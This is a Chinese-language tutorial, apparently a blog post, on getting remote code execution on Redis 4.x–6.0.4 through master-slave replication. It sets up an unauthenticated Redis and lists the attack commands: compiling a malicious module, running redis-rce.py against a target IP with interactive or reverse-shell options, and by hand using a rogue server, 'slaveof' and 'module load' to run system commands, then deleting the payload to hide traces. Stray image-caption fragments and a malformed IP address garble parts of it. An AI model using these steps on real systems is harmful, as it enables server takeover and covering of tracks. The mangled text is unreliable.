主从复制

    Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

部署redis

注意:主从复制的利用方式不需要root权限,在6.0.5版本及以后版本中已经修复了该问题。,所以这里要下载6.0.5以下的版本,同时需要高于4.x的版本才行(因为4.X才有的加载模块的功能)。

下载:http://download.redis.io/releases/redis-5.0.9.tar.gz

编译安装:

tar -zxf redis-5.0.9.tar.gz

cd redis-5.0.9

make

cd src

make install

启动:

redis-server

redis slowlog get 结果详解 redis getshell_redis

高版本的redis默认安装后是不允许远程连接的,且需要密码认证,所以需要修改一下配置文件:

vim redis-5.0.9/redis.conf

注释掉下面这行,或者改成bind 0.0.0.0

redis slowlog get 结果详解 redis getshell_加载_02

将yes改为no,取消密码认证

redis slowlog get 结果详解 redis getshell_redis启动后 允许访问_03

重新运行redis-server  redis-5.0.9/redis.conf (因为是源码安装,这里需要指定配置文件进行启动)

Getshell原理

在redis 4.x之后的版本中,允许以模块化的形式从外部加载.so文件,而这个文件中代码将会变成redis功能的一部分,从而实现功能扩展。我们利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能。

过程

.so源码下载地址:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

编译

cd  RedisModules-ExecuteCommand

make

然后生成一个so文件RedisModules-ExecuteCommand/src/module.so

redis slowlog get 结果详解 redis getshell_配置文件_04

1.下载自动化攻击脚本:

git clone https://github.com/Ridter/redis-rce.git

命令:

pip install -r requirement.txt

python3 redis-rce.py -r 192.168.194.129 -p6379 -L 192.168.194.1 -fmodule.so

redis slowlog get 结果详解 redis getshell_配置文件_05

选择一个shell方式:

选择交互式shell:

redis slowlog get 结果详解 redis getshell_redis_06

使用反弹shell:

redis slowlog get 结果详解 redis getshell_redis启动后 允许访问_07

2.如果是用手动的方式:

下载工具:https://codeload.github.com/LoRexxar/redis-rogue-server/zip/master

启动一个模拟的redis服务

python RogueServer.py --lport 1234 --exp exp.so

然后利用未授权访问漏洞连接对方redis服务:

redis slowlog get 结果详解 redis getshell_redis_08

#设置redis的备份路径为当前目录

config set dir ./

#设置备份文件名为module.so,默认为dump.rdb

    config set dbfilename module.so

#设置主服务器IP和端口

    slaveof 192.168.194.11234 #就是这一步,决定了后面会从这里加载恶意so文件。

#加载恶意模块

    module load ./module.so 

这个加载module本身其实在配置文件里也可以写上加载的模块路径,但因为是攻击,所以一般不具备修改配置文件的条件:

redis.conf

redis slowlog get 结果详解 redis getshell_配置文件_09

#切断主从,关闭复制功能

    slaveof no one

#执行系统命令

    system.exec 'whoami'

redis slowlog get 结果详解 redis getshell_加载_10

#通过dump.rdb文件恢复数据

    config set dbfilename dump.rdb

#删除exp.so

    system.exec 'rm ./exp.so'

#卸载system模块的加载

    module unload system